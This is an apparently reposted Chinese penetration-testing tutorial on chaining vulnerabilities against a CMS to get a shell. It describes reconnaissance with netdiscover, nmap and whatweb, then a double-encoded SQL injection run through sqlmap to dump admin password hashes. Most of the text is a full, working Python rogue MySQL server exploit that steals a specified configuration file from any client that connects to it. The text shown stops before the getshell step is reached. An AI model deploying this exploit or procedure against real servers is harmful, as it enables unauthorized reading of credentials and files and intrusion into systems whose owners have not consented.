|
图文详解多种漏洞配合利用--getshell(附脚本) (qq.com)
多种漏洞配合利用--getshell写在前面环境信息收集SQL二次编码注入漏洞利用任意文件读取漏洞利用获取指定密文写在前面在渗透中,我们往往需要结合多种漏洞进行getshell,下面将通过多种漏洞配合利用来getshell服务器。
环境 编辑
信息收集netdiscover探测存活主机
编辑
编辑
nmap探测web服务器端口开放情况
Namp扫描端口的详细信息
使用Whatweb进行cms识别,识别出网站cms
SQL二次编码注入漏洞利用利用网上公开的漏洞进行利用。由于该cms报过非常多漏洞,使用二次编码SQL注入进行利用。先测试这个网站的漏洞有没有给修复。
编辑
发现过滤了'
使用二次编码后发现可以成功访问
此时使用SQLmap中二次编码模块进行注入
获取数据库用户
获取数据库名称
获取www_ddd4_com数据库的表
获取doc_user表中的数据,得到后台登录的账号和密码的密文
当得到这一串网站后台的登录密文后,我尝试各种方式破解,结果都无效。要想登录后台还要想办法,于是先寻找网站的后台
编辑
任意文件读取漏洞利用该cms还报过任意文件读取漏洞,直接使用exp进行攻击
附上师傅写的exp:
- #!/usr/bin/env python
- #coding: utf8
- import socket
- import asyncore
- import asynchat
- import struct
- import random
- import logging
- import logging.handlers
- PORT = 3306
- log = logging.getLogger(__name__)
- log.setLevel(logging.INFO)
- tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
- tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
- log.addHandler(
- tmp_format
- )
- filelist = (
- '/www/wwwroot/www.ddd4.com/config/doc-config-cn.php',//为要读取的文件
- )
- #================================================
- #=======No need to change after this lines=======
- #================================================
- __author__ = 'Gifts'
- def daemonize():
- import os, warnings
- if os.name != 'posix':
- warnings.warn('Cant create daemon on non-posix system')
- return
- if os.fork(): os._exit(0)
- os.setsid()
- if os.fork(): os._exit(0)
- os.umask(0o022)
- null=os.open('/dev/null', os.O_RDWR)
- for i in xrange(3):
- try:
- os.dup2(null, i)
- except OSError as e:
- if e.errno != 9: raise
- os.close(null)
- class LastPacket(Exception):
- pass
- class OutOfOrder(Exception):
- pass
- class mysql_packet(object):
- packet_header = struct.Struct('<Hbb')
- packet_header_long = struct.Struct('<Hbbb')
- def __init__(self, packet_type, payload):
- if isinstance(packet_type, mysql_packet):
- self.packet_num = packet_type.packet_num + 1
- else:
- self.packet_num = packet_type
- self.payload = payload
- def __str__(self):
- payload_len = len(self.payload)
- if payload_len < 65536:
- header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
- else:
- header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
- result = "{0}{1}".format(
- header,
- self.payload
- )
- return result
- def __repr__(self):
- return repr(str(self))
- @staticmethod
- def parse(raw_data):
- packet_num = ord(raw_data[0])
- payload = raw_data[1:]
- return mysql_packet(packet_num, payload)
- class http_request_handler(asynchat.async_chat):
- def __init__(self, addr):
- asynchat.async_chat.__init__(self, sock=addr[0])
- self.addr = addr[1]
- self.ibuffer = []
- self.set_terminator(3)
- self.state = 'LEN'
- self.sub_state = 'Auth'
- self.logined = False
- self.push(
- mysql_packet(
- 0,
- "".join((
- '\x0a', # Protocol
- '5.6.28-0ubuntu0.14.04.1' + '\0',
- '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
- )) )
- )
- self.order = 1
- self.states = ['LOGIN', 'CAPS', 'ANY']
- def push(self, data):
- log.debug('Pushed: %r', data)
- data = str(data)
- asynchat.async_chat.push(self, data)
- def collect_incoming_data(self, data):
- log.debug('Data recved: %r', data)
- self.ibuffer.append(data)
- def found_terminator(self):
- data = "".join(self.ibuffer)
- self.ibuffer = []
- if self.state == 'LEN':
- len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
- if len_bytes < 65536:
- self.set_terminator(len_bytes)
- self.state = 'Data'
- else:
- self.state = 'MoreLength'
- elif self.state == 'MoreLength':
- if data[0] != '\0':
- self.push(None)
- self.close_when_done()
- else:
- self.state = 'Data'
- elif self.state == 'Data':
- packet = mysql_packet.parse(data)
- try:
- if self.order != packet.packet_num:
- raise OutOfOrder()
- else:
- # Fix ?
- self.order = packet.packet_num + 2
- if packet.packet_num == 0:
- if packet.payload[0] == '\x03':
- log.info('Query')
- filename = random.choice(filelist)
- PACKET = mysql_packet(
- packet,
- '\xFB{0}'.format(filename)
- )
- self.set_terminator(3)
- self.state = 'LEN'
- self.sub_state = 'File'
- self.push(PACKET)
- elif packet.payload[0] == '\x1b':
- log.info('SelectDB')
- self.push(mysql_packet(
- packet,
- '\xfe\x00\x00\x02\x00'
- ))
- raise LastPacket()
- elif packet.payload[0] in '\x02':
- self.push(mysql_packet(
- packet, '\0\0\0\x02\0\0\0'
- ))
- raise LastPacket()
- elif packet.payload == '\x00\x01':
- self.push(None)
- self.close_when_done()
- else:
- raise ValueError()
- else:
- if self.sub_state == 'File':
- log.info('-- result')
- log.info('Result: %r', data)
- if len(data) == 1:
- self.push(
- mysql_packet(packet, '\0\0\0\x02\0\0\0')
- )
- raise LastPacket()
- else:
- self.set_terminator(3)
- self.state = 'LEN'
- self.order = packet.packet_num + 1
- elif self.sub_state == 'Auth':
- self.push(mysql_packet(
- packet, '\0\0\0\x02\0\0\0'
- ))
- raise LastPacket()
- else:
- log.info('-- else')
- raise ValueError('Unknown packet')
- except LastPacket:
- log.info('Last packet')
- self.state = 'LEN'
- self.sub_state = None
- self.order = 0
- self.set_terminator(3)
- except OutOfOrder:
- log.warning('Out of order')
- self.push(None)
- self.close_when_done()
- else:
- log.error('Unknown state')
- self.push('None')
- self.close_when_done()
- class mysql_listener(asyncore.dispatcher):
- def __init__(self, sock=None):
- asyncore.dispatcher.__init__(self, sock)
- if not sock:
- self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
- self.set_reuse_addr()
- try:
- self.bind(('', PORT))
- except socket.error:
- exit()
- self.listen(5)
- def handle_accept(self):
- pair = self.accept()
- if pair is not None:
- log.info('Conn from: %r', pair[1])
- tmp = http_request_handler(pair)
- z = mysql_listener()
- # daemonize()
- asyncore.loop()
复制代码
|
|